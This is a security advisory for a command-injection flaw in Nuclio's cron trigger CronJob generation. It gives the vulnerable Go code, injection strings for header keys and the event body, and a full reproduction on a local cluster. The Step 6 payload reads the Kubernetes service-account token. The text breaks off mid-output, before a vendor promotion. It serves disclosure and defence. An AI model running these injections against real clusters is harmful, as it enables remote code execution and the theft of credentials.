Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE
Nuclio controller builds a curl invocation string for each cron trigger and stores it as the args of a Kubernetes CronJob container (/bin/sh, -c, <command>). Two fields in the trigger specification flow into this string without adequate sanitization:
event.headers keys — interpolated verbatim inside double-quoted --header arguments (lazy.go:2150); any key containing " breaks the quoting context.event.body — processed with strconv.Quote, which escapes " and \ but not $(), allowing command substitution (lazy.go:2188).Both paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 9.9 (Critical)When a NuclioFunction with a cron trigger is reconciled by the controller, it calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go:2113. This function builds a shell command string by concatenating user-supplied values and passes it directly to /bin/sh -c.
Path-A — Header key injection (lazy.go:2146-2151)
// lazy.go:2146-2151
headersAsCurlArg := ""
for headerKey := range attributes.Event.Headers {
headerValue := attributes.Event.GetHeaderString(headerKey)
headersAsCurlArg = fmt.Sprintf("%s --header \"%s: %s\"",
headersAsCurlArg, headerKey, headerValue)
// ↑
// headerKey is user-controlled; no escaping applied
}
headerKey is taken from event.headers in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing " terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.
Attack string for headerKey:
X-Inject"; ARBITRARY_COMMAND; echo "
Resulting shell command fragment:
--header "X-Inject"; ARBITRARY_COMMAND; echo ": value"
Path-B — Body command substitution (lazy.go:2173-2192)
// lazy.go:2188-2192
curlCommand = fmt.Sprintf("echo %s > %s && %s %s",
strconv.Quote(eventBody), // escapes " → \" and \ → \\, but NOT $()
eventBodyFilePath,
curlCommand,
eventBodyCurlArg)
strconv.Quote wraps the string in double quotes and escapes " and \, but does not escape $, (, or ). A body value of $(CMD) becomes the Go string "$(CMD)", which the shell expands as command substitution when executing the /bin/sh -c string.
Attack string for event.body:
$(ARBITRARY_COMMAND)
Resulting shell command:
echo "$(ARBITRARY_COMMAND)" > /tmp/eventbody.out && curl ...
Execution sink (lazy.go:2212)
// lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}
The entire concatenated string — including any injected content — is executed by the shell.
Persistence mechanism
The CronJob created by the controller carries no ownerReferences linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at lazy.go:522:
// Delete function k8s CronJobs before the Deployment so they cannot spawn new
// CronJobs are not owned by the Deployment, so cascade does not remove them.
The following steps reproduce the vulnerability in an isolated local environment.
Step 1 — Install prerequisites
# kind (Kubernetes-in-Docker)
curl -Lo /usr/local/bin/kind \
https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64
chmod +x /usr/local/bin/kind
# Helm
curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash
Step 2 — Create isolated kind cluster
kind create cluster --name vul-010
kubectl cluster-info --context kind-vul-010
Expected output:
Kubernetes control plane is running at https://127.0.0.1:xxxxx
Step 3 — Deploy Nuclio (latest 1.15.27)
helm repo add nuclio https://nuclio.github.io/nuclio/charts
helm repo update
kubectl create namespace nuclio
helm install nuclio nuclio/nuclio \
--namespace nuclio \
--kube-context kind-vul-010 \
--version 0.21.27 \
--set dashboard.enabled=true \
--set controller.enabled=true
Wait for the controller to become ready:
kubectl wait --for=condition=Available deployment/nuclio-controller \
-n nuclio --context kind-vul-010 --timeout=120s
Step 4 — Create a NuclioProject
kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioProject
metadata:
name: default
namespace: nuclio
spec:
description: "default project"
EOF
Step 5 — Prepare a placeholder image for the function deployment
The controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:
# Tag alpine as the placeholder function image
docker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest
kind load docker-image placeholder-function:latest --name vul-010
# Also load the CronJob runner image (appropriate/curl or any sh-capable image)
docker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest
kind load docker-image appropriate/curl:latest --name vul-010
Step 6 — Create a NuclioFunction with malicious header key
The injection payload in the header key is:
X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "
kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
name: vul010-rce-visible
namespace: nuclio
labels:
nuclio.io/project-name: default
spec:
image: placeholder-function:latest
runtime: python:3.9
handler: main:handler
build:
functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
triggers:
cron-inject:
kind: cron
attributes:
schedule: "*/1 * * * *"
event:
headers:
X-Normal: safe-value
'X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker
minReplicas: 1
maxReplicas: 1
EOF
Step 7 — Trigger the controller to create the CronJob
kubectl patch nucliofunction vul010-rce-visible -n nuclio \
--context kind-vul-010 \
--type=merge \
-p '{"status":{"state":"waitingForResourceConfiguration"}}'
Wait ~10 seconds for the controller to reconcile, then list CronJobs:
kubectl get cronjob -n nuclio --context kind-vul-010
Expected output:
NAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGE
nuclio-cron-job-d84tg6lmuaqc73arn15g */1 * * * * False 0 <none> 12s
Step 8 — Inspect the generated CronJob command (static confirmation)
CJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
-o jsonpath='{.items[0].metadata.name}')
kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
-o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
| python3 -m json.tool
Actual output from verification:
[
"/bin/sh",
"-c",
"curl --silent --header \"X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \": marker\" --header \"X-Normal: safe-value\" --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-rce-visible\" nuclio-vul010-rce-visible.nuclio.svc.cluster.loc
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.